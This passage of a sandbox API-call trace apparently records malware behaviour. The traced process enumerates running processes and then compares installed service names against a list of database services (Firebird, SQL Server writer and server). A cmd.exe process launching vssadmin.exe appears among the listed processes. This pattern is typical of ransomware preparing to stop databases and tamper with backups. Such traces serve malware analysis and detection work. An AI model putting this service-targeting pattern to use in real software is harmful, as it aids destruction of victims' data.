lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0271.580] lstrlenW (lpString="taskhostw.exe") returned 13 [0271.581] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0271.581] lstrlenW (lpString="msoia.exe") returned 9 [0271.582] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.582] lstrlenW (lpString="explorer.exe") returned 12 [0271.582] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0271.583] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0271.583] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0271.584] lstrlenW (lpString="SearchUI.exe") returned 12 [0271.584] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0271.585] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0271.585] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.586] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0271.587] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0271.587] lstrlenW (lpString="chrome64b.exe") returned 13 [0271.587] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0271.588] lstrlenW (lpString="cmd.exe") returned 7 [0271.588] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0271.589] lstrlenW (lpString="conhost.exe") returned 11 [0271.589] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.590] lstrlenW (lpString="svchost.exe") returned 11 [0271.590] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0271.591] lstrlenW (lpString="vssadmin.exe") returned 12 [0271.591] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0271.595] lstrlenW (lpString="consent.exe") returned 11 [0271.595] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0271.596] CloseHandle (hObject=0x55c) returned 1 [0271.596] Sleep (dwMilliseconds=0x1f4) [0272.251] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a130 [0272.252] EnumServicesStatusExW (in: hSCManager=0x69a130, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0272.252] GetLastError () returned 0xea [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1cc6) returned 0x45cb458 [0272.252] EnumServicesStatusExW (in: hSCManager=0x69a130, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45cb458, cbBufSize=0x1cc6, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45cb458, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0272.253] CloseServiceHandle (hSCObject=0x69a130) returned 1 [0272.254] lstrlenW (lpString="Appinfo") returned 7 [0272.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0272.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0272.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0272.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0272.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0272.254] lstrlenW (lpString="AppXSvc") returned 7 [0272.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0272.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0272.254] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0272.254] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0272.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0272.254] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0272.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.254] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0272.254] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0272.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0272.254] lstrlenW (lpString="Audiosrv") returned 8 [0272.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0272.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0272.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0272.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0272.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0272.255] lstrlenW (lpString="BFE") returned 3 [0272.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0272.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0272.255] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0272.255] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0272.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0272.255] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0272.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0272.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0272.256] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0272.256] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0272.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0272.256] lstrlenW (lpString="CDPSvc") returned 6 [0272.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0272.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0272.256] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0272.256] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0272.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0272.256] lstrlenW (lpString="ClickToRunSvc") returned 13 [0272.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0272.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0272.258] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0272.258] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0272.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0272.258] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0272.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0272.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0272.258] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0272.349] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0272.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0272.349] lstrlenW (lpString="CryptSvc") returned 8 [0272.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0272.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0272.349] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0272.349] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0272.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0272.350] lstrlenW (lpString="DcomLaunch") returned 10 [0272.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.350] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0272.350] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0272.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0272.350] lstrlenW (lpString="DeviceAssociationService") returned 24 [0272.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0272.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0272.350] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0272.350] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0272.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0272.350] lstrlenW (lpString="Dhcp") returned 4 [0272.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0272.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0272.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0272.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0272.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0272.350] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0272.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0272.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0272.350] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0272.350] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0272.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0272.350] lstrlenW (lpString="Dnscache") returned 8 [0272.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0272.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0272.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0272.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0272.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0272.351] lstrlenW (lpString="DPS") returned 3 [0272.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0272.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0272.351] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0272.351] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0272.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0272.351] lstrlenW (lpString="DusmSvc") returned 7 [0272.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0272.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0272.351] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0272.351] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0272.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0272.351] lstrlenW (lpString="EventLog") returned 8 [0272.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0272.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0272.351] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0272.351] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0272.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0272.351] lstrlenW (lpString="EventSystem") returned 11 [0272.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0272.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0272.352] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0272.352] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0272.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0272.352] lstrlenW (lpString="FontCache") returned 9 [0272.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0272.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0272.352] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0272.352] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0272.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0272.352] lstrlenW (lpString="gpsvc") returned 5 [0272.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0272.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0272.352] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0272.352] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0272.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0272.352] lstrlenW (lpString="iphlpsvc") returned 8 [0272.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0272.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0272.352] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0272.352] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0272.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0272.352] lstrlenW (lpString="KeyIso") returned 6 [0272.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0272.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0272.353] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0272.353] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0272.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0272.445] lstrlenW (lpString="LanmanServer") returned 12 [0272.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0272.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0272.445] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0272.445] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0272.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0272.445] lstrlenW (lpString="LanmanWorkstation") returned 17 [0272.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.445] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0272.445] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0272.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0272.445] lstrlenW (lpString="lfsvc") returned 5 [0272.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0272.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0272.445] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0272.445] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0272.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0272.445] lstrlenW (lpString="lmhosts") returned 7 [0272.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0272.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0272.446] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0272.446] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0272.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0272.446] lstrlenW (lpString="LSM") returned 3 [0272.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0272.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0272.446] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0272.446] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0272.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0272.446] lstrlenW (lpString="MpsSvc") returned 6 [0272.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0272.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0272.446] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0272.446] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0272.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0272.446] lstrlenW (lpString="NcbService") returned 10 [0272.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0272.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0272.446] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0272.446] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0272.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0272.447] lstrlenW (lpString="netprofm") returned 8 [0272.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0272.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0272.447] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0272.447] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0272.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0272.447] lstrlenW (lpString="NgcSvc") returned 6 [0272.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0272.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0272.447] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0272.447] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0272.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0272.447] lstrlenW (lpString="NlaSvc") returned 6 [0272.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0272.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0272.447] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0272.447] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0272.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0272.447] lstrlenW (lpString="nsi") returned 3 [0272.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0272.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0272.448] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0272.448] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0272.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0272.448] lstrlenW (lpString="PcaSvc") returned 6 [0272.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0272.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0272.448] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0272.448] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0272.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0272.448] lstrlenW (lpString="PlugPlay") returned 8 [0272.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0272.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0272.448] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0272.448] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0272.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0272.448] lstrlenW (lpString="Power") returned 5 [0272.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0272.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0272.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0272.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0272.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0272.449] lstrlenW (lpString="ProfSvc") returned 7 [0272.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0272.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0272.449] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0272.449] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0272.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0272.449] lstrlenW (lpString="RpcEptMapper") returned 12 [0272.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.449] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0272.449] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0272.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0272.449] lstrlenW (lpString="RpcSs") returned 5 [0272.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0272.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0272.449] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0272.449] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0272.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0272.450] lstrlenW (lpString="SamSs") returned 5 [0272.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0272.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0272.450] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0272.450] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0272.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0272.450] lstrlenW (lpString="Schedule") returned 8 [0272.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0272.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0272.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0272.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0272.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0272.450] lstrlenW (lpString="SecurityHealthService") returned 21 [0272.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0272.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") 